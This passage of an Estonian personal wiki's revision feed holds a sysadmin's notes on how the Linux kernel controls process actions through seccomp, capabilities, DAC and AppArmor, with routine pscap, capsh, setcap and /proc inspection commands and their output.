Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3445</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3445"/>
		<updated>2026-05-04T13:32:30Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara, kernel, kasutajad-grupid, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jme)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3444</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3444"/>
		<updated>2026-05-04T13:31:58Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara, kernel, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jme)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
